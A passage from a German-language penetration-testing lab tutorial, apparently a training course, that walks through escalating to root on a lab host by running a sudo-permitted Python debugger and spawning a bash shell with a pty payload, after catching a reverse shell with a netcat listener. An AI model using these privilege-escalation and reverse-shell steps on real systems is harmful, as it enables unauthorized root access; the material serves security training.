Exploitation
Bei der Server Side Template Injection hattest du bereits gesehen, dass über Python eine Shell gestartet werden kann.
Dafür muss ein Python-Modul geladen werden, das auf das Betriebssystem zugreift und daher Shell-Befehle aufrufen kann.
Dies ist beispielsweise mit dem Modul pty möglich.
Die grundsätzliche Syntax zum Ausführen eines Shell-Befehls im Python-Debugger pdb mit dem pty-Modul ist:
!import pty; pty.spawn('<Shell-Befehl>')
Der Code besteht aus folgenden Komponenten:
!: Führt Python-Code inpdbaus.import pty: Lädt das Python-Modulpty.;: Trennt mehrere Befehle in einer einzigen Zeile voneinander.pty.spawn(): Startet den angegebenen Shell-Befehl.
Diese Information sollte reichen, damit du den Payload für eine interaktive Shell ermitteln kannst.
Stelle wieder mit dem Befehl nc -lp <Port> eine Reverse Shell zum LUPFER her.
Dafür musst du die Seite https://lupfer.pentest.samsmart.hosts.openinc.de/usermanagement neu laden.
Mit folgendem Befehl wendest du pdb mit Root-Rechten auf das Skript /var/www/html/lupfer/lupfer.py an
sudo /usr/bin/python3 -m pdb /var/www/html/lupfer/lupfer.py
Damit öffnet sich die Eingabeaufforderung von pdb.
Mit folgender Payload erhältst du eine interaktive Shell als Benutzer root:
!import pty; pty.spawn('bash')
Die interaktive Shell wird mit dem Befehl exit beendet.
